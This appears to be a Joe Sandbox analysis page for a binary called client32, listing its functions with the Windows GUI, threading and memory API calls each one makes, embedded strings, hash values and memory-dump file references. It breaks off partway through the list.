Instruction ID: 7dc9b17917a05d0a1a20c6fa4ac0eb705d74e08118df21bf74e35568faeb592c
Opcode Fuzzy Hash: ec23489f07850d0f282c208d07d7e8fee0db15ceed7262bb29d1eb7273dc92e2
Instruction Fuzzy Hash: 0A1125B6C3916577C3818E6A9D85A9BFB68BB4236CF048115FCB817241E771A614C7E0

Function 110BA560 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

GetWindowPlacement.USER32(?,0000002C,75BF7AA0), ref: 110BA59F

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

,, xrefs: 110BA577
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110BA585
m_hWnd, xrefs: 110BA58A

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessagePlacementProcessWindowwsprintf
String ID: ,$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1593395816-618755743
Opcode ID: 437412967ac06f634d2e58aea443df4fd2b5e784e27c5508c7a553b8aec020c5
Instruction ID: 723ecd8509b1f117674e3f28a2eebb62cb0adfa83db23d84f339202074e33124
Opcode Fuzzy Hash: 437412967ac06f634d2e58aea443df4fd2b5e784e27c5508c7a553b8aec020c5
Instruction Fuzzy Hash: 0B01DB79E0021DA7DB10EFB4D862FFDF3A8DB09219F00069EE8065B284DFA16A14C7C4

Function 11014310 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,SysHeader32,11195264,?,?,?,?,?,?,?,00000000,00000000), ref: 1101434C

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

..\ctl32\headctrl.cpp, xrefs: 1101435B
SysHeader32, xrefs: 11014346
m_hWnd, xrefs: 11014360

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateErrorExitLastMessageProcessWindowwsprintf
String ID: ..\ctl32\headctrl.cpp$SysHeader32$m_hWnd
API String ID: 2789554107-4050302278
Opcode ID: 1c3010da04db5bed3b6cedd171569ece4558817593313ce3a80e1c51835089e3
Instruction ID: 47ca1da31ef5e317866de86f9591e30fe02a5225a1dd4fd0741b7edf9cd601c6
Opcode Fuzzy Hash: 1c3010da04db5bed3b6cedd171569ece4558817593313ce3a80e1c51835089e3
Instruction Fuzzy Hash: 4C014B7621021ABBCB54DE99DC85EDBB7ADAF88608F008159F919A7240D630E850CBA0

Function 11160390 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1116039F
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 111603C1
TrackPopupMenuEx.USER32(?,?,?,?,00000000,?), ref: 111603ED

Strings

0, xrefs: 111603B3

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$InfoItemPopupTrack_memset
String ID: 0
API String ID: 841834121-4108050209
Opcode ID: e8c91e185eb2ebccdcfb0263cef9fd80509c67c6a8282b5119fa71647954d0a1
Instruction ID: 9d224339150c7c133c1660ae8f4408b68bc8455e6129f67dd9b2558d4baf94c6
Opcode Fuzzy Hash: e8c91e185eb2ebccdcfb0263cef9fd80509c67c6a8282b5119fa71647954d0a1
Instruction Fuzzy Hash: CE0146B1910229ABEB04DF94DD49FEBB7BCEB08355F008109F910A7280D7B5A920CBA5

Function 1103D1F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11110920: EnterCriticalSection.KERNEL32(00000010,00000000,74DF23A0,1100BF7B), ref: 11110928
Part of subcall function 11110920: LeaveCriticalSection.KERNEL32(00000010), ref: 11110935

_free.LIBCMT ref: 1103D221

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

Part of subcall function 11110920: LeaveCriticalSection.KERNEL32(00000010,?), ref: 11110970

SetPriorityClass.KERNEL32(?,?), ref: 1103D24C
MessageBeep.USER32(00000000), ref: 1103D25E

Strings

Show has overrun too much, aborting, xrefs: 1103D1F1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$BeepClassEnterErrorFreeHeapLastMessagePriority_free
String ID: Show has overrun too much, aborting
API String ID: 304545663-4092325870
Opcode ID: 38cbc4052beda61ee506a84b884a1a9d6557445bc312e3507d1d7bbe4ecf2d69
Instruction ID: 9026de0c3b0683949d6f7ac94f5710338a9a532b2cd303e3c01edb637dee248d
Opcode Fuzzy Hash: 38cbc4052beda61ee506a84b884a1a9d6557445bc312e3507d1d7bbe4ecf2d69
Instruction Fuzzy Hash: 50F0B4B4B016139BFB59CBB08914BD9F69DBF8071DF000118E92C97280EB70B224C7D2

Function 1101D3C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D3EB
EnableWindow.USER32(00000000,?), ref: 1101D3F6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1101D3D1
m_hWnd, xrefs: 1101D3D6

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnableErrorExitItemLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1136984157-1986719024
Opcode ID: bd8169d8b1d2f1da16aa56a8743fe70e232c658d653b50b5f908e1dbd2e13666
Instruction ID: 36c1a6ee6805b1b90e48090b7f41ce0c53d42d7852bf61e64861d4a713bbcb04
Opcode Fuzzy Hash: bd8169d8b1d2f1da16aa56a8743fe70e232c658d653b50b5f908e1dbd2e13666
Instruction Fuzzy Hash: E3E0867950022DBFC7149E91DC85EAAF35CEB44269F00C135F96656644D674E84087A4

Function 11027530 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 11027561
EnumWindows.USER32(11027450,00000000), ref: 1102756A
ExitThread.KERNEL32 ref: 11027577

Strings

TapiFix, xrefs: 11027536

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumExitSleepThreadWindows
String ID: TapiFix
API String ID: 1804117399-2824097521
Opcode ID: 9b936a382379f1639e294998df4fda084f6c97918e753868017fe61e0b06262c
Instruction ID: 0d22cb111dc1a1c74f2ece42ee292e751dc76676b098746739fa73436add6467
Opcode Fuzzy Hash: 9b936a382379f1639e294998df4fda084f6c97918e753868017fe61e0b06262c
Instruction Fuzzy Hash: C7E04838A4167CAFE615DB918D84F56BA989B5535CF810030E4351664597B07940C7A9

Function 11049130 Relevance: 6.1, APIs: 4, Instructions: 112windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 11040700: IsWindow.USER32(?), ref: 11040720
Part of subcall function 11040700: GetClassNameA.USER32(?,?,00000040), ref: 11040731

_malloc.LIBCMT ref: 110491DD
_memmove.LIBCMT ref: 110491EA
SendMessageTimeoutA.USER32(?,0000004A,00040270,?,00000002,00001388,?), ref: 11049224
_free.LIBCMT ref: 1104922B

Part of subcall function 11048FE0: wsprintfA.USER32 ref: 11049013
Part of subcall function 11048FE0: WaitForInputIdle.USER32(?,00002710), ref: 11049099
Part of subcall function 11048FE0: CloseHandle.KERNEL32(?), ref: 110490AC
Part of subcall function 11048FE0: CloseHandle.KERNEL32(?), ref: 110490B5
Part of subcall function 11048FE0: Sleep.KERNEL32(00000014), ref: 110490D1

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$ClassIdleInputMessageNameSendSleepTimeoutWaitWindow_free_malloc_memmovewsprintf
String ID:
API String ID: 176360892-0
Opcode ID: ff22a9ddfc9956f02424ec2608c6f13a06eca4d3def8f93d8689db34ce88e07c
Instruction ID: d41a6b91d128f2eeea48cc74d118894cce712679c930bdd2d1ac7c58a8e7d684
Opcode Fuzzy Hash: ff22a9ddfc9956f02424ec2608c6f13a06eca4d3def8f93d8689db34ce88e07c
Instruction Fuzzy Hash: 60316075E0061AABDB04DF94CD81BEEB3B8FF48718F104179E915A7684E731AE05CBA1

Function 1103E140 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 68sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000001F4,00000000,?,00000000,-111EE49C), ref: 1103E171

Strings

/weblock.htm, xrefs: 1103E1DD
:%u, xrefs: 1103E1CF
redirect:http://127.0.0.1, xrefs: 1103E1BD

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: /weblock.htm$:%u$redirect:http://127.0.0.1
API String ID: 3472027048-2181447511
Opcode ID: 1415e4d2d896865e18f0d3c242c004084a0b1aa805c802b972be65ad3339b0cf
Instruction ID: d0bdff98c979ad58cf7678b3670661ce36733e83436f59a01fbb5cf7617cac3c
Opcode Fuzzy Hash: 1415e4d2d896865e18f0d3c242c004084a0b1aa805c802b972be65ad3339b0cf
Instruction Fuzzy Hash: 7911E636E0122A9FFB10EBB4DC80FFEB7A89B55309F0002A5E80D97280DE716D41C792

Function 11008359 Relevance: 6.1, APIs: 4, Instructions: 68windowCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 110083F3
SelectObject.GDI32(?,?), ref: 11008415
DeleteDC.GDI32(?), ref: 11008422
DeleteObject.GDI32(?), ref: 1100842F
GetDC.USER32(00000000), ref: 1100845D
CreateCompatibleDC.GDI32(00000000), ref: 1100846A
CreateCompatibleBitmap.GDI32(?,00000004,00000010), ref: 11008481
SelectObject.GDI32(?,00000000), ref: 11008495
_malloc.LIBCMT ref: 110084F5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelect$Bitmap_free_malloc
String ID:
API String ID: 4288422576-0
Opcode ID: 91c89b74b91c336bb3830d7201085ffe0f6e2ebe70c7ebf5e74ffc9f1e31602d
Instruction ID: 71ddcf67a8684a935c6e16c4ea2a73cd506f955dbb6c56238cfab8e0aaa932bb
Opcode Fuzzy Hash: 91c89b74b91c336bb3830d7201085ffe0f6e2ebe70c7ebf5e74ffc9f1e31602d
Instruction Fuzzy Hash: 8421FF79610A019FD364DF28C994AE7B3E9FBC8318F10891DE56A97311CB31F842CB50

Function 11143070 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

SetBkColor.GDI32(?,?), ref: 11143091
SetRect.USER32(?,?,?,?,?), ref: 111430A9
ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 111430C0
SetBkColor.GDI32(?,00000000), ref: 111430C8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Color$RectText
String ID:
API String ID: 4034337308-0
Opcode ID: 26f6cc05d1df662940a62fe5a538b52049d671c1388398b7ccd782556aa038f2
Instruction ID: e9225e88152d902865c43eb673e3150d6d7e7d22167fd17714d79550e5345a2a
Opcode Fuzzy Hash: 26f6cc05d1df662940a62fe5a538b52049d671c1388398b7ccd782556aa038f2
Instruction Fuzzy Hash: 0C012C7264021CBBDB04DEA8DD81FEFB3ACEF49604F104159FA15A7280DAB0AD018BA5

Function 111103D0 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 111103DE
EnterCriticalSection.KERNEL32(00000000,75BF3760,00000000,111F1590,?,110CD955,00000000,75BF3760), ref: 111103E8
LeaveCriticalSection.KERNEL32(00000000,75C0A1D0,00000000,?,110CD955,00000000,75BF3760), ref: 11110408
LeaveCriticalSection.KERNEL32(00000000,75C0A1D0,00000000,?,110CD955,00000000,75BF3760), ref: 1111041C

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CurrentEnterThread
String ID:
API String ID: 2905768538-0
Opcode ID: 8fd22b812c8f62b715523e5f86df3aaa2cd2768748401e5e8898e20f481cbd2c
Instruction ID: 4c724308613bea48e6bb16f63c046e4f2304003fe7903f8ffd3459ebd8414c8e
Opcode Fuzzy Hash: 8fd22b812c8f62b715523e5f86df3aaa2cd2768748401e5e8898e20f481cbd2c
Instruction Fuzzy Hash: 73F0623665112CEFD305DFA5D9849AEB7A8FB99316B10417AF925C7900E630A905CBF0

Function 111262F0 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004E), ref: 11126318
GetSystemMetrics.USER32(0000004F), ref: 1112631F
GetSystemMetrics.USER32(00000000), ref: 1112633C
GetSystemMetrics.USER32(00000001), ref: 11126349

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
